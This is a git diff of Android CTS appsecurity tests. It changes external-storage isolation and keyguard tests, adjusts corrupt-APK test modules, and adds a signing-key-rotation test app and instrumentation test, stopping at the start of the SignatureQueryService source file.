diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.mk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.mk
deleted file mode 100644
index ae419b65..0000000
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2020 Google Inc.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsCorruptApkTests_Unaligned_Q
-LOCAL_SRC_FILES := unaligned_Q.apk
-LOCAL_MODULE_CLASS := APPS
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_SUFFIX := .apk
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/unaligned_Q.apk
-LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
-include $(BUILD_PREBUILT)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsCorruptApkTests_Unaligned_R
-LOCAL_SRC_FILES := unaligned_R.apk
-LOCAL_MODULE_CLASS := APPS
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_SUFFIX := .apk
-LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/unaligned_R.apk
-LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
-include $(BUILD_PREBUILT)
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml
index b574029..93a223d 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/AndroidManifest.xml
@@ -17,5 +17,6 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.content.cts.corruptapk" >
-    <application android:hasCode="false" />
+    <application android:hasCode="false"
+                 android:debuggable="true"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk
index 58c30cd..afaac5d 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_Q.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk
index 1bdd2bb..ecb009f 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/compressed_R.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk
index b6023bc..a17200b 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_Q.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk
index e64bcfd..7296b84 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/unaligned_R.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 40d8ff4..03746fe 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -713,6 +713,7 @@
 
         final Uri rootsUri = DocumentsContract.buildRootsUri(PROVIDER_PACKAGE);
         final Intent intent = new Intent(Intent.ACTION_VIEW);
+        intent.setPackage(getDocumentsUiPackageId());
         intent.setDataAndType(rootsUri, "vnd.android.document/root");
         mActivity.startActivity(intent);
         mDevice.waitForIdle();
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 88601e5..8e3a970 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -22,6 +22,7 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.accessibilityservice.AccessibilityService;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -204,10 +205,9 @@
         mDevice.waitForIdle();
     }
 
-    private void retryPressKeyCode(int keyCode, BooleanSupplier waitFor, String msg) {
+    private void waitFor(String msg, BooleanSupplier waitFor) {
         int retry = 1;
         do {
-            mDevice.pressKeyCode(keyCode);
             if (waitFor.getAsBoolean()) {
                 return;
             }
@@ -221,9 +221,10 @@
 
     private void summonKeyguard() throws Exception {
         final PowerManager pm = mDe.getSystemService(PowerManager.class);
-        retryPressKeyCode(KeyEvent.KEYCODE_SLEEP, () -> pm != null && !pm.isInteractive(),
-                "***Waiting for device sleep...");
-        mDevice.waitForIdle();
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_SLEEP);
+        getInstrumentation().getUiAutomation().performGlobalAction(
+                AccessibilityService.GLOBAL_ACTION_LOCK_SCREEN);
+        waitFor("display to turn off", () -> pm != null && !pm.isInteractive());
     }
 
     public void assertLocked() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
index 507693e..8fdf859 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -103,7 +103,7 @@
      * Verify we can write to our own package dirs.
      */
     public void testAllPackageDirsWritable() throws Exception {
-        final long testValue = 12345000;
+        final long testValue = 1234500000000L;
         final List<File> paths = getAllPackageSpecificPaths(getContext());
         for (File path : paths) {
             assertNotNull("Valid media must be inserted during CTS", path);
@@ -177,6 +177,31 @@
         return targetFiles;
     }
 
+    /**
+     * Return a set of several package-specific external storage paths pointing
+     * at "gift" files designed to be exchanged with the target package in Q.
+     * These directories can't be used to exchange "gift" files in R.
+     */
+    public static List<File> getAllPackageSpecificNoGiftPaths(Context context,
+            String targetPackageName) {
+        final List<File> files = getPrimaryPackageSpecificPathsExceptMedia(context);
+        final List<File> targetFiles = new ArrayList<>();
+        for (File file : files) {
+            final File targetFile = new File(
+                    file.getAbsolutePath().replace(context.getPackageName(), targetPackageName));
+            targetFiles.add(new File(targetFile, targetPackageName + ".gift"));
+        }
+        return targetFiles;
+    }
+
+    public static List<File> getPrimaryPackageSpecificPathsExceptMedia(Context context) {
+        final List<File> paths = new ArrayList<File>();
+        Collections.addAll(paths, context.getExternalCacheDir());
+        Collections.addAll(paths, context.getExternalFilesDir(null));
+        Collections.addAll(paths, context.getObbDir());
+        return paths;
+    }
+
     public static List<File> getPrimaryPackageSpecificPaths(Context context) {
         final List<File> paths = new ArrayList<File>();
         Collections.addAll(paths, context.getExternalCacheDir());
@@ -253,6 +278,12 @@
         }
     }
 
+    public static void assertDirReadWriteAccess(File[] paths) {
+        for (File path : paths) {
+            assertDirReadWriteAccess(path);
+        }
+    }
+
     public static void assertDirReadWriteAccess(File path) {
         Log.d(TAG, "Asserting read/write access to " + path);
 
@@ -306,21 +337,6 @@
         }
     }
 
-    public static void assertFileReadOnlyAccess(File path) {
-        try {
-            new FileInputStream(path).close();
-        } catch (IOException e) {
-            fail("failed to read!");
-        }
-
-        try {
-            new FileOutputStream(path, true).close();
-            fail("able to write!");
-        } catch (IOException e) {
-            // expected
-        }
-    }
-
     public static void assertFileReadWriteAccess(File path) {
         try {
             new FileInputStream(path).close();
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ExternalStorageTest.java
index 2c302b2..9b5424b 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ExternalStorageTest.java
@@ -66,6 +66,12 @@
                 assertDirReadWriteAccess(path);
                 path = path.getParentFile();
             }
+
+            // Keep walking up until we leave device
+            while (Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState(path))) {
+                assertDirNoAccess(path);
+                path = path.getParentFile();
+            }
         }
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/GiftTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/GiftTest.java
index 3368c31..2b18813 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/GiftTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/GiftTest.java
@@ -21,8 +21,10 @@
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileNoAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileNotPresent;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertFileReadWriteAccess;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificNoGiftPaths;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificObbGiftPaths;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.readInt;
+import static com.android.cts.externalstorageapp.CommonExternalStorageTest.writeInt;
 
 import android.test.AndroidTestCase;
 
@@ -30,14 +32,29 @@
 import java.util.List;
 
 public class GiftTest extends AndroidTestCase {
+    public void testStageNonGifts() throws Exception {
+        final List<File> noneList = getAllPackageSpecificNoGiftPaths(getContext(), PACKAGE_NONE);
+        for (File none : noneList) {
+            none.getParentFile().mkdirs();
+            assertTrue(none.createNewFile());
+            writeInt(none, 100);
+        }
+    }
+
     /**
-     * Verify we can't read other obb dirs.
+     * Verify we can read & write only our gifts.
      */
-    public void testCantAccessOtherObbDirs() throws Exception {
-        final List<File> readList = getAllPackageSpecificObbGiftPaths(getContext(), PACKAGE_READ);
+    public void testNoGifts() throws Exception {
+        final List<File> readList = getAllPackageSpecificNoGiftPaths(getContext(), PACKAGE_READ);
         for (File read : readList) {
             assertFileNoAccess(read);
         }
+
+        final List<File> noneList = getAllPackageSpecificNoGiftPaths(getContext(), PACKAGE_NONE);
+        for (File none : noneList) {
+            assertFileReadWriteAccess(none);
+            assertEquals(100, readInt(none));
+        }
     }
 
     /**
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
new file mode 100644
index 0000000..746e224
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
@@ -0,0 +1,69 @@
+#
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+cert_dir := cts/hostsidetests/appsecurity/certs/pkgsigverify
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts_signature_query_service
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-Iaidl-files-under, src)
+LOCAL_SDK_VERSION := current
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+# This is the first version of the test app signed with the initial signing
+# key. This app exports the bound service from the cts_signature_query_service
+# library and is used to verify end to end updates with key rotation.
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsSignatureQueryService
+LOCAL_SDK_VERSION := current
+LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service
+LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is the second version of the test app signed with the rotated signing
+# key with an updated version number. This app is intended to verify that an
+# app continues to function as expected after an update with a rotated key.
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsSignatureQueryService_v2
+LOCAL_MANIFEST_FILE = AndroidManifest_v2.xml
+LOCAL_SDK_VERSION := current
+LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service
+LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is the third version of the test app signed with the same rotated
+# signing key as v2. This app is intended to verify that an app can still
+# be updated and function as expected after the signing key has been rotated.
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsSignatureQueryService_v3
+LOCAL_MANIFEST_FILE = AndroidManifest_v3.xml
+LOCAL_SDK_VERSION := current
+LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service
+LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+cert_dir :=
+include $(call all-makefiles-under,$(LOCAL_PATH))
+
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/KeyRotationTest/AndroidManifest.xml
new file mode 100644
index 0000000..e9d79df
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appsecurity.cts.keyrotationtest"
+    android:versionCode="1">
+  <application>
+  <service android:name=".service.SignatureQueryService"
+      android:enabled="true"
+      android:exported="true"/>
+  </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/AndroidManifest_v2.xml b/hostsidetests/appsecurity/test-apps/KeyRotationTest/AndroidManifest_v2.xml
new file mode 100644
index 0000000..43b7c6a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/AndroidManifest_v2.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appsecurity.cts.keyrotationtest"
+    android:versionCode="2">
+  <application>
+  <service android:name=".service.SignatureQueryService"
+      android:enabled="true"
+      android:exported="true"/>
+  </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/AndroidManifest_v3.xml b/hostsidetests/appsecurity/test-apps/KeyRotationTest/AndroidManifest_v3.xml
new file mode 100644
index 0000000..d09fd9d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/AndroidManifest_v3.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appsecurity.cts.keyrotationtest"
+    android:versionCode="3">
+  <application>
+  <service android:name=".service.SignatureQueryService"
+      android:enabled="true"
+      android:exported="true"/>
+  </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.mk b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.mk
new file mode 100644
index 0000000..91af1b7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/Android.mk
@@ -0,0 +1,50 @@
+#
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+cert_dir := cts/hostsidetests/appsecurity/certs/pkgsigverify
+
+# This is the instrumentation test package for the CtsSignatureQueryService
+# app. This app verifies that the standalone app is functioning as expected
+# after a key rotation and provides a companion package that can be used for
+# the PackageManager checkSignatures APIs.
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsSignatureQueryServiceTest
+LOCAL_SDK_VERSION := current
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service androidx.test.core androidx.test.rules
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
+LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is the instrumentation test package signed with the same signing key and
+# lineage as v2 and v3 of the CtsSignatureQueryService test app.
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsSignatureQueryServiceTest_v2
+LOCAL_SDK_VERSION := current
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_STATIC_JAVA_LIBRARIES := cts_signature_query_service androidx.test.core androidx.test.rules
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
+LOCAL_COMPATIBILITY_SUITE := cts vts10 general-tests
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+cert_dir :=
+
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/AndroidManifest.xml
new file mode 100644
index 0000000..e4981ee
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appsecurity.cts.keyrotationtest.test">
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                   android:targetPackage="android.appsecurity.cts.keyrotationtest" />
+  <application/>
+</manifest>
+
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/src/android/appsecurity/cts/keyrotationtest/test/SignatureQueryServiceInstrumentationTest.java b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/src/android/appsecurity/cts/keyrotationtest/test/SignatureQueryServiceInstrumentationTest.java
new file mode 100644
index 0000000..b52ad91
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/ServiceTest/src/android/appsecurity/cts/keyrotationtest/test/SignatureQueryServiceInstrumentationTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts.keyrotationtest.test;
+
+import static org.junit.Assert.assertEquals;
+
+import android.appsecurity.cts.keyrotationtest.service.ISignatureQueryService;
+import android.appsecurity.cts.keyrotationtest.service.SignatureQueryService;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ServiceTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Verifies that the SignatureQueryService test app is functioning as expected and signed with the
+ * expected signatures.
+ */
+@RunWith(AndroidJUnit4.class)
+public final class SignatureQueryServiceInstrumentationTest {
+    private Context context;
+    private ISignatureQueryService signatureQueryService;
+
+    // These are the sha256 digests of the DER encoding of the ec-p256 and ec-p256_2 signing
+    // certificates used to sign this and the app under test.
+    private static final String FIRST_SIGNATURE_DIGEST =
+            "6a8b96e278e58f62cfe3584022cec1d0527fcb85a9e5d2e1694eb0405be5b599";
+    private static final String SECOND_SIGNATURE_DIGEST =
+            "d78405f761ff6236cc9b570347a570aba0c62a129a3ac30c831c64d09ad95469";
+
+    @Rule
+    public final ServiceTestRule serviceTestRule = new ServiceTestRule();
+
+    @Before
+    public void setUp() throws Exception {
+        context = InstrumentationRegistry.getInstrumentation().getContext();
+        IBinder binder = serviceTestRule.bindService(
+                new Intent(ApplicationProvider.getApplicationContext(),
+                        SignatureQueryService.class));
+        signatureQueryService = ISignatureQueryService.Stub.asInterface(binder);
+    }
+
+    @Test
+    public void verifySignatures_noRotation_succeeds() throws Exception {
+        // Verifies the signatures of the app under test when it is only signed with the original
+        // signing key.
+        Bundle responseBundle = signatureQueryService.verifySignatures(
+                new String[]{FIRST_SIGNATURE_DIGEST}, context.getPackageName());
+
+        assertEquals(0, responseBundle.getInt(ISignatureQueryService.KEY_VERIFY_SIGNATURES_RESULT));
+    }
+
+    @Test
+    public void verifySignatures_withRotation_succeeds() throws Exception {
+        // Verifies the signatures of the test app when it is signed with the rotated key and
+        // lineage.
+        Bundle responseBundle = signatureQueryService.verifySignatures(
+                new String[]{FIRST_SIGNATURE_DIGEST, SECOND_SIGNATURE_DIGEST},
+                context.getPackageName());
+
+        assertEquals(0, responseBundle.getInt(ISignatureQueryService.KEY_VERIFY_SIGNATURES_RESULT));
+    }
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/src/android/appsecurity/cts/keyrotationtest/service/ISignatureQueryService.aidl b/hostsidetests/appsecurity/test-apps/KeyRotationTest/src/android/appsecurity/cts/keyrotationtest/service/ISignatureQueryService.aidl
new file mode 100644
index 0000000..3a21922
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/src/android/appsecurity/cts/keyrotationtest/service/ISignatureQueryService.aidl
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts.keyrotationtest.service;
+
+/**
+ * AIDL service definition intended to test PackageManager key rotation APIs.
+ */
+interface ISignatureQueryService {
+    const int RESULT_SUCCESS = 0;
+    const int RESULT_PACKAGE_NOT_FOUND = 1;
+    const int RESULT_GET_SIGNATURES_NO_RESULTS = 2;
+    const int RESULT_GET_SIGNATURES_MULTIPLE_SIGNATURES = 3;
+    const int RESULT_GET_SIGNATURES_MISMATCH = 4;
+    const int RESULT_GET_SIGNING_CERTIFICATES_NO_RESULTS = 5;
+    const int RESULT_GET_SIGNING_CERTIFICATES_MULTIPLE_SIGNERS = 6;
+    const int RESULT_GET_SIGNING_CERTIFICATES_UNEXPECTED_NUMBER_OF_SIGNATURES = 7;
+    const int RESULT_GET_SIGNING_CERTIFICATES_UNEXPECTED_SIGNATURE = 8;
+    const int RESULT_HAS_SIGNING_CERTIFICATE_BY_NAME_FAILED = 9;
+    const int RESULT_HAS_SIGNING_CERTIFICATE_BY_UID_FAILED = 10;
+    const int RESULT_NO_EXPECTED_SIGNATURES_PROVIDED = 11;
+    const int RESULT_SHA256_MESSAGE_DIGEST_NOT_AVAILABLE = 12;
+    const int RESULT_COMPANION_PACKAGE_NOT_FOUND = 13;
+    const int RESULT_CHECK_SIGNATURES_BY_NAME_NO_MATCH = 14;
+    const int RESULT_CHECK_SIGNATURES_BY_UID_NO_MATCH = 15;
+
+    const String KEY_GET_SIGNATURES_RESULTS = "GET_SIGNATURES_RESULTS";
+    const String KEY_GET_SIGNING_CERTIFICATES_RESULTS = "GET_SIGNING_CERTIFICATES_RESULTS";
+    const String KEY_VERIFY_SIGNATURES_RESULT = "VERIFY_SIGNATURES_RESULT";
+
+    /**
+     * Queries PackageManager key rotation APIs and verifies the results against
+     * the provided {@code expectedSignatureDigests}; the signature(s) of the
+     * specified {@code companionPackageName} are also compared against the app
+     * within which this service is running.
+     */
+    Bundle verifySignatures(in String[] expectedSignatureDigests, in String companionPackageName);
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/src/android/appsecurity/cts/keyrotationtest/service/SignatureQueryService.java b/hostsidetests/appsecurity/test-apps/KeyRotationTest/src/android/appsecurity/cts/keyrotationtest/service/SignatureQueryService.java
new file mode 100644
index 0000000..94ca795
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/src/android/appsecurity/cts/keyrotationtest/service/SignatureQueryService.java
@@ -0,0 +1,412 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
